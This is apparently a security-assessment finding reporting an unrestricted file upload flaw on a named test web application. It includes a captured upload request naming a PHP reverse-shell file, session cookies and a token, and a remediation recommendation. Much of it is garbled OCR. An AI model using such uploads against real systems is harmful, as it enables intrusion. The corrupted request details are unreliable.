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Description automatically generated]Header

The application test.onboard.b2b.dsv.com is vulnerable to unrestricted file upload on page /dsv/sponsor/module/fileManagement, in the parameter filename.
Note: Although it is not possible to execute the file, other users can download it, which could be a malicious file.
Upload:
[image: ]	[image: ]	

File uploaded:
[image: ]
Recommendations:
· Use a whitelist approach to validate the file extension and name on the server side;
References:
· https://owasp.org/www-community/vulnerabilities/Unrestricted_File_Upload
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Request
Raw_ her s =

1/POST /dsv/sponsor/module/ f1leManagement,/ 7page=PAGE 369643788 10=F ILE_UPLOAD36966058 HTTP/1.1

2|Host: test.onboard.b2b. dsv.con

3|Cookie: APGSID=2000w7L11tCNAI1TenbVDT-1w77:21182fe-877-4a78-862C-53664c53804a; DSV_PEM_COOKIE=
FEFFTTfo2d2a30a45525d5f4T58455e44524242133b; Tefresh_token=
ey J0EXA101 JKVIQILCINbGC101 JTUZTING J9. ey JTCGIUC29ySUQEOLT2Z hN2VMS 11 ZhWL TRZJ GtODBIMOWOD JN2H1
'YZMINTGLLCJVC2VySUQL01TaMzU3Y2N1ZCRyNDVILTGSM} ALODTWY S1hODAWNGUMZ1KODT 1L.CJpc3Mi0 JQRUIFUKVGUKVTS
F9JUINVRVI1LCJ1€HALO]E200G30DK3MTAS TK1 2U3BVbNNVC A T6AH1ZSwACGVE LNhZLIIKI §01dZdMHNXQOSKCmXUZN1 VK
RULXJ3NZC1 Q. PFAAAGUPDEMIEEZATYNIIVETSYSXGLFTFpOBN-aSNC; COOKIE_LOADED_LOCALE=en-U
COOKIE_LOCALE_LANG=en-US

4 User-Agent: Mozilla/5.0 (X11; Linux x86_64; Tv:102.0) Gecko/20100101 Firefox/102.8

5 Accept: */*

6 Accept-Language: en-Us,en;q=0.5

7 Accept-Encoding: gzip, deflate

8 X-Csxf-Protection: 1

9 Content-Type: multipart/forn-data;
boundary:

10 Content-Length: 5736

11 0rigin: https://test.onboard.bb.dsv. con

12 Referer: https: //test.onboard. b2b. dsv. con/dsv/sponsor/module/ fileManagement

13 Sec-Fetch-Dest: empty

14 Sec-Fetch-Mode: cors

15 Sec-Fetch-Site: sane-origin

16 Te: trailers

17 Connection: close

18

19)- 419065525737933676861301255270
20 |Content-Disposition: forn-data; nane="file[]"; filenane="php-reverse-shell.php

21 Content-Type: application/x-php
2

23|<2php

24{// php-reverse-shell - A Reverse Shell implementation in PHP

SONWebTolen  JSONWeb Tokers

-419065525737933676861301255270

Response.

nosniff

3 |X-Content-Type-Option:

4 X-Frane-Options: SAVEORIGIN

5 | Content-Security-Policy: font-src ‘self* * dat:
https://* kanpyle..con/ https://*.coremetrics.con/ https://*.s-bluemix.net/
https://*.optimizely.com https://*.cwdcntrl.net/ https://*.segnent.com/ https://*.intercon.1o/
https://*.interconcdn.con/ https://*.tiqedn. con/ https://*.www.SB1c.con/ https://* mathtag. con/
https://*.cloudfront .net/ https: //*.cncore.con/ https://*.abmr.net/is/ https://*.alexametrics.con/

iing-sTc “self http://ibm.com

https://*. truste.con/ https://*.trustarc.con/ https://*.ibm.con data:;script-src *self
‘unsafe-eval® ‘unsafe-inline’ https://*.kanpyle.con/ https://*.coremetrics.con/
https://*.5-bluemix.net/ https://*.optimizely.com https: //*.crwdcntrl.net/ https://*.segnent.con/
https://*.intercon. o/ https://*.interconcdn.con/ https://*.tiqcdn.con/ https://*.www.s81c.con/
https://*.mathtag.con/ https://*.cloudfront.net/ https://*.cncore.con/ https://*.abmr.net/is/
https://*.alexametrics.con/ https://*.truste.con/ https://*.trustarc.con/

/% 1bm. com;child-src ‘self* https://*.kampyle.con/ https://*.corenetrics. con/
/*.5-bluemix.net/ https://*.optimizely.con https://*.crwdcntrl.net/ https://*. segnent.con/
https://*.intercon. o/ https://*.interconcdn.con/ https://*.tiqcdn.con/ https://*.www.sB1c.con/
https://* mathtag.con/ https://*.cloudfront.net/ https://*.cncore.con/ https://*.abnr.net/is/

https://*.alexametrics.con/ https://*.truste.com/ https://*.trustarc.con/ https://*.ibm.con;
6|Cache-Control: no-cache, no-store, must-Tevalidate
7 Praga: no-cache
8 Expires: -1
9 Content-Language: en-Us
10 Date: Fri, 67 Jul 2023 16:35:29 GHT
11 Strict-Transport-Security: max-age=31536000
12/Strict-Transport-security: max-age=157680000
13 Content-Length: 25
1
150K
16 php-reverse-shell. php
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